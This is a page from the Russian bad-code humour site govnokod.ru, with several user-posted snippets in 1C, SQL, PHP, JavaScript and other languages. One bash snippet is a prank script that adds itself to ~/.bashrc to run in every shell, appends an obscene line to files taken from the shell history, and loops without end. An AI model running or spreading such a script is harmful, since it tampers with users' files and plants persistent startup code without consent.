- 1
Speed = ini.GetInt("Speed" , Speed /(1 mm_s )) * (-1 mm_s);
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+162
Speed = ini.GetInt("Speed" , Speed /(1 mm_s )) * (-1 mm_s);
Скорость задается изначально как положительное число, но в ресчетах используется ее отрицательное значение.
−103
к = 0;
ТЗ2=СоздатьОбъект("ТаблицаЗначений");
ВыгрузитьТабличнуюЧасть(ТЗ2,"ТМЦ,Кво");
ТЗ2.НоваяКолонка("Арт");
ТЗ2.ВыбратьСтроки();
Пока ТЗ2.ПолучитьСтроку()=1 Цикл
ТМЦ_=ТЗ2.ПолучитьЗначение(к+1,"ТМЦ");
Если Лев(ТМЦ_,5)="Набор" Тогда
ТЗ2.Арт=ТМЦ_.Родитель;
Иначе
ТЗ2.Арт=ТМЦ_.Родитель.Родитель;
КонецЕсли;
к=к+1;
КонецЦикла;
Из 7.7. Особенно радует момент ТМЦ_=ТЗ2.ПолучитьЗначение(к+1,"ТМЦ");
+166
$expired = (time() > 1280241436) ? true : false;
if ($expired) { return; }
В начале кэш-файлов phpBB3.
−862
SET @SQL = '
SELECT
@diff1 = @diff1 + ''CASE WHEN '' + Field_Name + ''=@'' + Field_Name +
'' OR ('' + Field_Name + '' IS null AND @'' + Field_Name + '' IS NULL) THEN ''''''''
ELSE '''''' + Field_Name + ''="''''+COALESCE(CAST('' + Field_Name + '' AS varchar(max)), ''''NULL'''')
+ ''''", '''' END +'',
@diff2 = @diff2 + ''CASE WHEN '' + Field_Name + ''=@'' + Field_Name +
'' OR ('' + Field_Name + '' IS Null AND @'' + Field_Name + '' IS NULL) THEN ''''''''
ELSE '''''' + Field_Name + ''="''''+COALESCE(CAST(@'' + Field_Name + '' AS varchar(max)), ''''NULL'''')
+ ''''", '''' END +'',
@declare = @declare + ''DECLARE @'' + Field_Name + '' '' + Field_Type + '';'',
@set = @set + ''SET @'' + Field_Name + ''='' + Field_Value + '';''
FROM (' + @pre + ') AS t'
Моё. Кусочек небольшой хранимки в 700 строк.
Формирование SQL-a, который формирует SQL, который, в свою очередь, формирует строку для записи изменений таблицы в лог.
−87
ТекЗакладка=0;
Если ТекЗакладка=0 тогда ТекЗакладка=1;КонецЕсли;
Путаем следы?
−114
if ( cards.length > ( Settings.WIDTH / Settings.CARD_SMALL_WIDTH + 1 ) ) {
_cards = cards.slice( 0, Settings.WIDTH/Settings.CARD_SMALL_WIDTH + 2 );
}
else {
_cards = cards;
}
Код окна, которое выводит список элементов. Если элементы не помещаются в строку, то они тупо удаляются.
+162
for (i = 0;i<n;i++)
{
for (j = 0;j<m;j++)
{
if (j=m)
{
j = 0;
break;
}
}
}
Мастер! Без комментариев.
P.S. Как это ни странно, автор предпочел остаться неизвестным :)
+136
particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.particleEmitter.emit = Mathf.Sin(Random.value*Mathf.PI*2) <= 1;
Строчка из кода в Unity3D.
−137
#!/bin/bash
echo Fuck >> $1
x=`tail -n1 ~/.bashrc`
if [ "$x" = "$0 &" ]
then
echo exit
else
echo "trap 'echo \"Fuck $USER\">>`cat ~/.bash_history | tail -n1 | gawk '{ print $1 }'`' DEBUG;" >> ~/.bashrc;
echo "$0 `cat ~/.bash_history|tail -n1 | gawk '{ print $1 }'` &" >> ~/.bashrc
fi
trap "cdm=`cat ~/.bash_history| tail -n1 | gawk '{ print $1 }'`" DEBUG
echo cdm $cdm
while :
do
echo -n
done
Прога должна присоединять к файлам в истории свой текст.
−862
-- Verify frequency sub-day type
IF (@freq_subday_type <> 0) AND (@freq_subday_type NOT IN (0x1, 0x2, 0x4, 0x8))
BEGIN
RAISERROR(14266, -1, -1, '@freq_subday_type', '0x1, 0x2, 0x4, 0x8')
RETURN(1) -- Failure
END
....
IF (@freq_subday_type = 0)
SELECT @freq_subday_type = 0x1 -- FREQSUBTYPE_ONCE
IF ((@freq_subday_type <> 0x1) AND -- FREQSUBTYPE_ONCE (see qsched.h)
(@freq_subday_type <> 0x2) AND -- FREQSUBTYPE_SECOND (see qsched.h)
(@freq_subday_type <> 0x4) AND -- FREQSUBTYPE_MINUTE (see qsched.h)
(@freq_subday_type <> 0x8)) -- FREQSUBTYPE_HOUR (see qsched.h)
BEGIN
SELECT @reason = FORMATMESSAGE(14266, '@freq_subday_type', '0x1, 0x2, 0x4, 0x8')
RAISERROR(14278, -1, -1, @reason)
RETURN(1) -- Failure
END
Системная хранимая процедура Microsoft SQL Server 2005
msdb.[dbo].[sp_verify_schedule]